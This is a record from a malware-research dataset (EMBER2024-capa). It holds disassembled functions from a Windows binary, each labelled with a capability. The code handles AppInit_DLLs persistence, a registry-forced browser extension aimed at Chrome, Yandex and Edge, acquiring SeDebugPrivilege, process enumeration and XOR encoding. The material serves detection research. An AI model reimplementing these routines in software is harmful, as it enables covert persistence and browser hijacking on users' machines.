joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x248
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x244], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x14], esi
cmp dword [eax + 0x14], 0xf
push edi
mov edi, dword [ebp + 0xc]
jbe 0x4011a4
mov eax, dword [eax]
lea ecx, [esp + 0x14]
push ecx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401202
cmp dword [edi + 0x14], 0xf
mov dword [esp + 0x1c], 0x200
mov dword [esp + 0x18], 1
jbe 0x4011d8
mov edi, dword [edi]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x4c]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push edi
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401224
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x405210
mov ecx, esi
call fcn.00402910
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.004033a3
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x24]
call fcn.00402910
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x24c]
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov eax, esi
movups xmm0, xmmword [esp + 0x20]
mov dword [esi + 0x14], 0
pop edi
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x2c]
movq qword [esi + 0x10], xmm0
pop esi
xor ecx, esp
call fcn.004033a3
mov esp, ebp
pop ebp
ret
Function at 0x403c43
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403c82
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403c82
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403c82
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403c82
cmp dword [ecx + 0x74], 0xe
jbe 0x403c82
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x402800
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x408]
mov dword [ebp - 0x414], 0
push eax
push 0x20019
push 0
mov esi, ecx
push str.SoftwareMicrosoftWindowsShellAssociationsUrlAssociationshttpUserChoice
mov dword [ebp - 0x40c], esi
push SysReAllocString
mov dword [ebp - 0x408], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, dword [ebp - 0x408]
test eax, eax
jne 0x402884
push 9
mov dword [esi + 0x14], 7
mov ecx, esi
mov dword [esi + 0x10], eax
push str.not_found
mov word [esi], ax
call fcn.00406a60
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x410]
mov dword [ebp - 0x40c], 1
push ecx
lea ecx, [ebp - 0x404]
mov dword [ebp - 0x410], 0x200
push ecx
lea ecx, [ebp - 0x40c]
push ecx
push 0
push str.ProgId
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x4600c0
lea eax, [ebp - 0x404]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4028f8
test dx, dx
je 0x4028f4
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4028f8
add eax, 4
add ecx, 4
test dx, dx
jne 0x4028d2
xor eax, eax
jmp 0x4028fd
sbb eax, eax
or eax, 1
mov ecx, esi
test eax, eax
jne 0x40290a
push str.not_found
jmp 0x402911
lea eax, [ebp - 0x404]
push eax
call fcn.00405530
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
Function at 0x403350
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44fe9b
mov eax, dword fs:[0]
push eax
sub esp, 0x124
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0x1c
lea eax, [ebp - 0x114]
push eax
push dword [0x528548]
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov eax, dword [0x528550]
xor ebx, ebx
mov ecx, dword [0x52854c]
sub eax, ecx
sar eax, 7
test eax, eax
je 0x40348e
xor esi, esi
mov dword [ebp - 0x130], esi
mov al, byte [esi + ecx + 0x48]
add esi, ecx
test al, al
je 0x40346c
cmp dword [esi + 0x14], 8
jb 0x4033cf
mov edi, dword [esi]
jmp 0x4033d1
mov edi, esi
push str.Google_Chrome
push edi
call fcn.0042ec01
add esp, 8
test eax, eax
jne 0x403407
push str.Yandex
push edi
call fcn.0042ec01
add esp, 8
test eax, eax
jne 0x403407
push str.Microsoft_Edge
push edi
call fcn.0042ec01
add esp, 8
test eax, eax
je 0x403466
mov al, byte [esi + 0x49]
test al, al
je 0x403466
mov edx, esi
lea ecx, [ebp - 0x12c]
call fcn.00404650
mov dword [ebp - 4], 0
lea edx, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x114]
cmovae edx, dword [ebp - 0x12c]
call fcn.004034b0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x118]
cmp eax, 0x10
jb 0x403466
inc eax
lea ecx, [ebp - 0x12c]
push eax
push dword [ebp - 0x12c]
call fcn.00407d70
mov ecx, dword [0x52854c]
mov eax, dword [0x528550]
inc ebx
mov esi, dword [ebp - 0x130]
sub eax, ecx
sub esi, 0xffffff80
sar eax, 7
mov dword [ebp - 0x130], esi
cmp ebx, eax
jb 0x4033b7
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
Function at 0x404110
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea esi, [ebp - 0x404]
mov ebx, ecx
push edi
sub esi, edx
movzx eax, word [edx]
lea edx, [edx + 2]
mov word [esi + edx - 2], ax
test ax, ax
jne 0x404130
lea edi, [ebp - 0x404]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x404150
mov eax, dword [0x46028c]
mov dword [edi], eax
lea edi, [ebp - 0x404]
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x404170
mov ecx, 0x10
mov dword [ebp - 0x408], 0
mov esi, str.fgimllnamdeacpaddbdafchhcmapebgj
lea eax, [ebp - 0x408]
rep movsd dword es:[edi], dword [esi]
push 0
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [ebp - 0x404]
movsw word es:[edi], word [esi]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop edi
pop esi
pop ebx
test eax, eax
je 0x4041d2
mov eax, 2
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [0x460290]
lea ecx, [ebp - 0x204]
lea edx, [ecx + 2]
movups xmmword [ebp - 0x204], xmm0
movups xmm0, xmmword [0x4602a0]
movups xmmword [ebp - 0x1f4], xmm0
movups xmm0, xmmword [0x4602b0]
movups xmmword [ebp - 0x1e4], xmm0
movups xmm0, xmmword [0x4602c0]
movups xmmword [ebp - 0x1d4], xmm0
movups xmm0, xmmword [0x4602d0]
movups xmmword [ebp - 0x1c4], xmm0
movups xmm0, xmmword [0x4602e0]
movups xmmword [ebp - 0x1b4], xmm0
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404230
sub ecx, edx
sar ecx, 1
lea ecx, [ecx*2 + 2]
lea eax, [ecx + ecx]
cmp eax, 0x200
jae 0x4042af
xor edx, edx
push ecx
mov word [ebp + eax - 0x204], dx
lea eax, [ebp - 0x204]
push eax
push 1
push edx
push str.update_url
push dword [ebp - 0x408]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x408]
test eax, eax
je 0x404299
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
call fcn.0042d0be
int3
Function at 0x407640
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x450338
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x40776e
cmp byte [ebx + 0x3d], 0
je 0x40776e
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x407699
xor al, al
jmp 0x407770
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.00406ef0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4076ff
sub eax, 1
je 0x407703
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x407756
xor bl, bl
jmp 0x407758
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x407738
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00433230
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x4076fb
cmp byte [ebx + 0x3d], 0
je 0x407756
test esi, esi
jne 0x4076c1
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.004071f0
jmp 0x4076be
mov bl, 1
cmp ecx, 0x10
jb 0x40776a
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.00407d70
mov al, bl
jmp 0x407770
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret

Function at 0x408090
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44fc46
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x504070]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0042ccde
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.00416d1f
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40afe0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4506fd
mov eax, dword fs:[0]
push eax
sub esp, 0x2cc
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov dword [ebp - 0x2c8], ebx
mov edi, ecx
mov dword [ebp - 0x2c4], edi
mov dword [ebp - 0x2cc], edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
push 0
mov dword [ebp - 0x2d0], 0
push 0
mov dword [ebp - 0x2d8], edi
mov dword [ebp - 0x2d4], eax
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.0040e980
mov dword [edi], eax
push 0
mov dword [ebp - 4], 0
push 2
mov dword [ebp - 0x2d0], 1
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x2bc]
push 0x228
push 0
push eax
mov dword [ebp - 0x2cc], esi
call fcn.0042fec0
add esp, 0xc
mov dword [ebp - 0x2c0], 0x22c
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x40b10c
mov edi, dword [ebx]
mov esi, dword [edi]
cmp esi, edi
je 0x40b0ee
nop dword [eax]
lea ebx, [esi + 8]
cmp dword [ebx + 0x78], 8
lea eax, [ebx + 0x64]
jb 0x40b0ce
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.00435696
add esp, 8
test eax, eax
je 0x40b131
mov esi, dword [esi]
cmp esi, edi
jne 0x40b0c0
mov ebx, dword [ebp - 0x2c8]
mov edi, dword [ebp - 0x2c4]
mov esi, dword [ebp - 0x2cc]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x40b0b1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x2b8]
lea ecx, [ebp - 0x90]
push ebx
mov dword [ebp - 0x94], eax
call fcn.004024e0
mov dword [ebp - 4], 1
lea eax, [ebp - 0x94]
mov edi, dword [ebp - 0x2c4]
push eax
mov esi, dword [edi]
push dword [esi + 4]
push esi
call fcn.0040ebb0
mov ecx, eax
mov eax, 0x1d41d40
sub eax, dword [edi + 4]
cmp eax, 1
jb 0x40b1a7
inc dword [edi + 4]
mov dword [esi + 4], ecx
mov eax, dword [ecx + 4]
mov byte [ebp - 4], 0
mov dword [eax], ecx
lea ecx, [ebp - 0x90]
call fcn.004023d0
mov eax, dword [ebx + 0x7c]
mov ebx, dword [ebp - 0x2d4]
or dword [ebx], eax
mov ebx, dword [ebp - 0x2c8]
jmp 0x40b0f4
push str.list_T__too_long
call fcn.004171e5
int3
Function at 0x40b1d0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x30
mov eax, dword [0x504070]
xor eax, esp
mov dword [esp + 0x2c], eax
lea eax, [esp + 0xc]
xorps xmm0, xmm0
push eax
push 0x28
movaps xmmword [esp + 0x18], xmm0
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40b23d
lea eax, [esp + 0x14]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 1
push eax
push 0
push dword [esp + 0x20]
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp + 0x2c]
xor ecx, esp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret

Function at 0x40b250
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
lea esi, [ebp - 0x204]
mov ebx, edx
push edi
mov edi, ecx
sub esi, eax
movzx ecx, word [eax]
lea eax, [eax + 2]
mov word [esi + eax - 2], cx
test cx, cx
jne 0x40b275
lea ecx, [ebp - 0x204]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40b290
sub ecx, edx
sar ecx, 1
lea ecx, [ecx*2 + 2]
lea eax, [ecx + ecx]
cmp eax, 0x200
jae 0x40b2de
xor edx, edx
push ecx
mov word [ebp + eax - 0x204], dx
lea eax, [ebp - 0x204]
push eax
push 1
push edx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
call fcn.0042d0be
int3
Function at 0x40bad0
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0x458]
mov esi, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
je 0x40bbf4
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
jne 0x40bbf4
lea eax, [ebp - 0x208]
push eax
push 0x100
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
cmp word [ebp - 0x208], 0
lea eax, [ebp - 0x208]
je 0x40bb3f
add eax, 2
cmp word [eax], 0
jne 0x40bb36
cmp word [eax - 2], 0x5c
je 0x40bb4e
mov ecx, 0x5c
mov word [eax], cx
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemTimeAsFileTime]
mov eax, dword [ebp - 0x460]
xor eax, dword [ebp - 0x45c]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x408]
push str._s_u.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.DLL_MoveFileExW]
lea eax, [ebp - 0x408]
add esp, 0x10
push 1
push eax
push esi
call edi
test eax, eax
jne 0x40bbe7
mov eax, dword [ebp - 0x460]
xor eax, dword [ebp - 0x45c]
push eax
push esi
lea eax, [ebp - 0x208]
push str._s__u.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x208]
push 1
push eax
push esi
call edi
test eax, eax
jne 0x40bbdf
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x208]
jmp 0x40bbed
lea eax, [ebp - 0x408]
push 4
push 0
push eax
call edi
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
Function at 0x40bc10
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push edi
push 0
push 0
push 3
push 0
push 3
push SysReAllocString
push ecx
mov edi, edx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40bc3f
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, dword [ebp + 8]
cmp eax, esi
je 0x40bc60
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop esi
pop edi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push 8
push dword [0x5275f8]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 4], eax
push ecx
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 4]
mov ecx, edx
sub esi, 4
jb 0x40bca3
mov eax, dword [ecx]
cmp eax, dword [edi]
jne 0x40bca8
add ecx, 4
add edi, 4
sub esi, 4
jae 0x40bc92
cmp esi, 0xfffffffc
je 0x40bcdc
mov al, byte [ecx]
cmp al, byte [edi]
jne 0x40bcd5
cmp esi, 0xfffffffd
je 0x40bcdc
mov al, byte [ecx + 1]
cmp al, byte [edi + 1]
jne 0x40bcd5
cmp esi, 0xfffffffe
je 0x40bcdc
mov al, byte [ecx + 2]
cmp al, byte [edi + 2]
jne 0x40bcd5
cmp esi, 0xffffffff
je 0x40bcdc
mov al, byte [ecx + 3]
cmp al, byte [edi + 3]
je 0x40bcdc
sbb esi, esi
or esi, 1
jmp 0x40bcde
xor esi, esi
push edx
push 0
push dword [0x5275f8]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
test esi, esi
pop esi
pop edi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c480
Capabilities:
Persist via appinit_dlls registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa10
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp - 0xa0c]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40c4c9
mov eax, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0xa08]
mov dword [ebp - 0xa10], 0x400
push 0
push eax
call fcn.0042fec0
add esp, 0xc
lea eax, [ebp - 0x608]
push 0x400
push 0
push eax
call fcn.0042fec0
add esp, 0xc
lea eax, [ebp - 0xa10]
push eax
lea eax, [ebp - 0xa08]
push eax
push 0
push 0
push str.AppInit_DLLs
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x40c547
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 2
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
cmp word [ebp - 0xa08], 0
je 0x40c64e
lea edi, [ebp - 0xa08]
nop dword [eax + eax]
lea eax, [ebp - 0x208]
mov ecx, edi
push eax
call fcn.0040c3e0
cmp word [ebp - 0x208], 0
lea esi, [ebp - 0x208]
mov edi, eax
je 0x40c59d
push 7
push str.vksaver
push esi
call fcn.004358e7
add esp, 0xc
test eax, eax
je 0x40c5db
add esi, 2
cmp word [esi], 0
jne 0x40c580
cmp word [ebp - 0x608], 0
je 0x40c5c0
push 0x460544
lea eax, [ebp - 0x608]
push 0x200
push eax
call fcn.00435aa0
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x608]
push 0x200
push eax
call fcn.00435aa0
add esp, 0xc
test edi, edi
jne 0x40c560
lea ecx, [ebp - 0x608]
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40c5f0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
mov dword [ebp - 0xa10], eax
lea eax, [ebp - 0x608]
push eax
push 1
push 0
push str.AppInit_DLLs
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x40c64e
push dword [ebp - 0xa0c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 3
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret
mov ecx, 0x528128
call fcn.0040bad0
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret

Function at 0x40ed50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, edx
push ebx
push esi
mov dword [ebp - 4], eax
mov esi, ecx
add eax, 4
push eax
push 1
call fcn.00435b20
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40ed77
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
mov ecx, 0x75bcd15
push edi
dec edx
mov edi, ebx
shr edx, 2
sub edi, esi
inc edx
nop dword [eax]
mov eax, dword [esi]
lea esi, [esi + 4]
xor eax, ecx
rol ecx, 0xd
mov dword [edi + esi - 4], eax
sub edx, 1
jne 0x40ed90
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ede0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x19
push 2
call fcn.00435b20
mov ecx, 0x4fbc68
mov esi, eax
add esp, 8
sub esi, ecx
nop word [eax + eax]
movzx edx, word [ecx]
lea ecx, [ecx + 2]
mov word [esi + ecx - 2], dx
test dx, dx
jne 0x40ee00
lea ecx, [ebp - 4]
push ecx
push 0
push eax
push 0x40edb0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop esi
mov esp, ebp
pop ebp
ret